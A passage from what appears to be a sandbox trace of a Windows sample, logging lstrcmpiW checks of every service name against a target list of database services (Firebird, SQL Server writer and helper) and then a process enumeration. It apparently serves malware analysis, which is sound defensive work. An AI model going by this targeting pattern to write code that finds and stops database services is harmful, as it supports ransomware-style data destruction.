(lpString="ClickToRunSvc") returned 13 [0135.189] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ClickToRunSvc") returned 1 [0135.189] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ClickToRunSvc") returned 1 [0135.189] lstrcmpiW (lpString1="sqlwriter", lpString2="ClickToRunSvc") returned 1 [0135.189] lstrcmpiW (lpString1="mssqlserver", lpString2="ClickToRunSvc") returned 1 [0135.189] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ClickToRunSvc") returned 1 [0135.189] lstrlenW (lpString="CoreMessagingRegistrar") returned 22 [0135.189] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1 [0135.189] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1 [0135.189] lstrcmpiW (lpString1="sqlwriter", lpString2="CoreMessagingRegistrar") returned 1 [0135.189] lstrcmpiW (lpString1="mssqlserver", lpString2="CoreMessagingRegistrar") returned 1 [0135.189] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CoreMessagingRegistrar") returned 1 [0135.189] lstrlenW (lpString="CryptSvc") returned 8 [0135.189] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0135.190] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0135.190] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0135.190] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0135.190] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0135.190] lstrlenW (lpString="DcomLaunch") returned 10 [0135.190] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0135.190] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0135.190] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0135.190] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0135.190] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0135.190] lstrlenW (lpString="DeviceAssociationService") returned 24 [0135.190] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DeviceAssociationService") returned 1 [0135.190] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DeviceAssociationService") returned 1 [0135.190] lstrcmpiW (lpString1="sqlwriter", lpString2="DeviceAssociationService") returned 1 [0135.190] lstrcmpiW (lpString1="mssqlserver", lpString2="DeviceAssociationService") returned 1 [0135.190] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DeviceAssociationService") returned 1 [0135.190] lstrlenW (lpString="Dhcp") returned 4 [0135.190] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0135.190] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0135.190] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0135.190] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0135.190] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0135.190] lstrlenW (lpString="Dnscache") returned 8 [0135.190] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0135.190] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0135.190] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0135.190] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0135.190] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0135.190] lstrlenW (lpString="DPS") returned 3 [0135.190] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0135.190] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0135.190] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0135.191] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0135.191] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0135.191] lstrlenW (lpString="DusmSvc") returned 7 [0135.191] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DusmSvc") returned 1 [0135.191] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DusmSvc") returned 1 [0135.191] lstrcmpiW (lpString1="sqlwriter", lpString2="DusmSvc") returned 1 [0135.191] lstrcmpiW (lpString1="mssqlserver", lpString2="DusmSvc") returned 1 [0135.191] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DusmSvc") returned 1 [0135.191] lstrlenW (lpString="EventLog") returned 8 [0135.191] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventLog") returned 1 [0135.192] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventLog") returned 1 [0135.192] lstrcmpiW (lpString1="sqlwriter", lpString2="EventLog") returned 1 [0135.192] lstrcmpiW (lpString1="mssqlserver", lpString2="EventLog") returned 1 [0135.192] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventLog") returned 1 [0135.192] lstrlenW (lpString="EventSystem") returned 11 [0135.192] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0135.192] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0135.192] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0135.192] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0135.192] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0135.192] lstrlenW (lpString="FontCache") returned 9 [0135.192] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="FontCache") returned -1 [0135.192] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="FontCache") returned -1 [0135.192] lstrcmpiW (lpString1="sqlwriter", lpString2="FontCache") returned 1 [0135.192] lstrcmpiW (lpString1="mssqlserver", lpString2="FontCache") returned 1 [0135.192] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="FontCache") returned 1 [0135.192] lstrlenW (lpString="gpsvc") returned 5 [0135.192] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0135.192] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0135.192] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0135.192] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0135.193] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0135.193] lstrlenW (lpString="iphlpsvc") returned 8 [0135.193] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1 [0135.193] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1 [0135.193] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1 [0135.193] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1 [0135.193] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1 [0135.193] lstrlenW (lpString="KeyIso") returned 6 [0135.193] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="KeyIso") returned -1 [0135.193] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="KeyIso") returned -1 [0135.193] lstrcmpiW (lpString1="sqlwriter", lpString2="KeyIso") returned 1 [0135.193] lstrcmpiW (lpString1="mssqlserver", lpString2="KeyIso") returned 1 [0135.193] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="KeyIso") returned 1 [0135.193] lstrlenW (lpString="LanmanServer") returned 12 [0135.193] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1 [0135.193] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1 [0135.193] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1 [0135.193] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1 [0135.193] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1 [0135.193] lstrlenW (lpString="LanmanWorkstation") returned 17 [0135.193] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0135.193] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0135.193] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0135.193] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0135.193] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0135.193] lstrlenW (lpString="lfsvc") returned 5 [0135.193] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lfsvc") returned -1 [0135.193] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lfsvc") returned -1 [0135.193] lstrcmpiW (lpString1="sqlwriter", lpString2="lfsvc") returned 1 [0135.193] lstrcmpiW (lpString1="mssqlserver", lpString2="lfsvc") returned 1 [0135.193] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lfsvc") returned 1 [0135.193] lstrlenW (lpString="lmhosts") returned 7 [0135.193] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0135.193] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0135.193] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0135.193] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0135.193] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0135.194] lstrlenW (lpString="LSM") returned 3 [0135.194] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LSM") returned -1 [0135.194] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LSM") returned -1 [0135.194] lstrcmpiW (lpString1="sqlwriter", lpString2="LSM") returned 1 [0135.194] lstrcmpiW (lpString1="mssqlserver", lpString2="LSM") returned 1 [0135.194] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LSM") returned 1 [0135.194] lstrlenW (lpString="MpsSvc") returned 6 [0135.194] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0135.194] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0135.194] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0135.194] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0135.194] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0135.194] lstrlenW (lpString="NcbService") returned 10 [0135.194] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NcbService") returned -1 [0135.194] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NcbService") returned -1 [0135.194] lstrcmpiW (lpString1="sqlwriter", lpString2="NcbService") returned 1 [0135.195] lstrcmpiW (lpString1="mssqlserver", lpString2="NcbService") returned -1 [0135.195] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NcbService") returned 1 [0135.195] lstrlenW (lpString="netprofm") returned 8 [0135.195] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1 [0135.195] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1 [0135.195] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1 [0135.195] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1 [0135.195] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1 [0135.195] lstrlenW (lpString="NgcSvc") returned 6 [0135.195] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NgcSvc") returned -1 [0135.195] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NgcSvc") returned -1 [0135.195] lstrcmpiW (lpString1="sqlwriter", lpString2="NgcSvc") returned 1 [0135.195] lstrcmpiW (lpString1="mssqlserver", lpString2="NgcSvc") returned -1 [0135.195] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NgcSvc") returned 1 [0135.195] lstrlenW (lpString="NlaSvc") returned 6 [0135.195] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0135.195] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0135.195] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0135.195] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0135.195] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0135.195] lstrlenW (lpString="nsi") returned 3 [0135.195] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0135.195] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0135.195] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0135.195] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0135.195] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0135.195] lstrlenW (lpString="PcaSvc") returned 6 [0135.195] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0135.195] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0135.195] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0135.195] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0135.195] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0135.195] lstrlenW (lpString="PlugPlay") returned 8 [0135.195] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0135.195] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0135.195] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0135.196] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0135.196] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0135.196] lstrlenW (lpString="Power") returned 5 [0135.196] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0135.196] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0135.196] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0135.196] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0135.196] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0135.196] lstrlenW (lpString="ProfSvc") returned 7 [0135.196] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0135.196] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0135.196] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0135.196] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0135.196] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0135.196] lstrlenW (lpString="RpcEptMapper") returned 12 [0135.196] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0135.196] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0135.196] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0135.431] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0135.432] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0135.432] lstrlenW (lpString="RpcSs") returned 5 [0135.432] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0135.432] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0135.432] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0135.432] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0135.432] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0135.432] lstrlenW (lpString="SamSs") returned 5 [0135.432] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0135.432] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0135.432] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0135.432] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0135.432] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0135.432] lstrlenW (lpString="Schedule") returned 8 [0135.432] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0135.432] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0135.432] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0135.432] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0135.432] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0135.432] lstrlenW (lpString="SecurityHealthService") returned 21 [0135.432] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SecurityHealthService") returned -1 [0135.432] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SecurityHealthService") returned -1 [0135.432] lstrcmpiW (lpString1="sqlwriter", lpString2="SecurityHealthService") returned 1 [0135.432] lstrcmpiW (lpString1="mssqlserver", lpString2="SecurityHealthService") returned -1 [0135.432] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SecurityHealthService") returned 1 [0135.432] lstrlenW (lpString="SENS") returned 4 [0135.433] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0135.433] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0135.433] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0135.433] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0135.433] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0135.433] lstrlenW (lpString="ShellHWDetection") returned 16 [0135.433] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0135.433] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0135.433] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0135.433] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0135.433] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0135.433] lstrlenW (lpString="Spooler") returned 7 [0135.433] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0135.433] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0135.433] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0135.433] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0135.433] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0135.433] lstrlenW (lpString="StateRepository") returned 15 [0135.433] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="StateRepository") returned -1 [0135.433] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="StateRepository") returned -1 [0135.433] lstrcmpiW (lpString1="sqlwriter", lpString2="StateRepository") returned -1 [0135.433] lstrcmpiW (lpString1="mssqlserver", lpString2="StateRepository") returned -1 [0135.433] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="StateRepository") returned -1 [0135.433] lstrlenW (lpString="SysMain") returned 7 [0135.433] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1 [0135.433] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1 [0135.433] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1 [0135.434] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1 [0135.434] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SysMain") returned -1 [0135.434] lstrlenW (lpString="SystemEventsBroker") returned 18 [0135.434] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SystemEventsBroker") returned -1 [0135.434] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SystemEventsBroker") returned -1 [0135.434] lstrcmpiW (lpString1="sqlwriter", lpString2="SystemEventsBroker") returned -1 [0135.434] lstrcmpiW (lpString1="mssqlserver", lpString2="SystemEventsBroker") returned -1 [0135.434] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SystemEventsBroker") returned -1 [0135.434] lstrlenW (lpString="Themes") returned 6 [0135.434] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1 [0135.434] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1 [0135.434] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1 [0135.434] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1 [0135.434] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Themes") returned -1 [0135.434] lstrlenW (lpString="tiledatamodelsvc") returned 16 [0135.434] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="tiledatamodelsvc") returned -1 [0135.434] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="tiledatamodelsvc") returned -1 [0135.434] lstrcmpiW (lpString1="sqlwriter", lpString2="tiledatamodelsvc") returned -1 [0135.434] lstrcmpiW (lpString1="mssqlserver", lpString2="tiledatamodelsvc") returned -1 [0135.434] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x448dfd8 | out: hHeap=0x510000) returned 1 [0135.435] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x4c4 [0135.439] Process32FirstW (in: hSnapshot=0x4c4, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0135.440] Process32NextW (in: hSnapshot=0x4c4, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6c, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0135.441] lstrlenW (lpString="System") returned 6 [0135.441] Process32NextW (in: hSnapshot=0x4c4, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x140, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0135.442] lstrlenW (lpString="smss.exe") returned 8 [0135.442] Process32NextW (in: hSnapshot=0x4c4, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x19c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x190, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0135.443] lstrlenW (lpString="csrss.exe") returned 9 [0135.443] Process32NextW (in: hSnapshot=0x4c4, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x190, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0135.444] lstrlenW (lpString="wininit.exe") returned 11 [0135.444] Process32NextW (in: hSnapshot=0x4c4, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1e4, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0135.445] lstrlenW (lpString="csrss.exe") returned 9 [0135.445] Process32NextW (in: hSnapshot=0x4c4, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x230, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1e4, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0135.446] lstrlenW (lpString="winlogon.exe") returned 12 [0135.446] Process32NextW (in: hSnapshot=0x4c4, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x24c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1ec, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0135.447] lstrlenW (lpString="services.exe") returned 12 [0135.447] Process32NextW (in: hSnapshot=0x4c4, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x254, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1ec, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0135.448] lstrlenW (lpString="lsass.exe") returned 9 [0135.448] Process32NextW (in: hSnapshot=0x4c4, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0135.449] lstrlenW (lpString="svchost.exe") returned 11 [0135.449] Process32NextW (in: hSnapshot=0x4c4, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x230, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0135.450] lstrlenW (lpString="fontdrvhost.exe") returned 15 [0135.450] Process32NextW (in: hSnapshot=0x4c4, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1ec, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0135.451] lstrlenW (lpString="fontdrvhost.exe") returned 15 [0135.451] Process32NextW (in: hSnapshot=0x4c4, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x318, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0135.452] lstrlenW (lpString="svchost.exe") returned 11 [0135.452] Process32NextW (in: hSnapshot=0x4c4, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x388, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x230, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0135.453] lstrlenW (lpString="dwm.exe") returned 7 [0135.453] Process32NextW (in: hSnapshot=0x4c4, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3b8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1d, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0135.453] lstrlenW (lpString="svchost.exe") returned 11 [0135.454] Process32NextW (in: hSnapshot=0x4c4, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0135.454] lstrlenW (lpString="svchost.exe") returned 11 [0135.454] Process32NextW (in: hSnapshot=0x4c4, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, 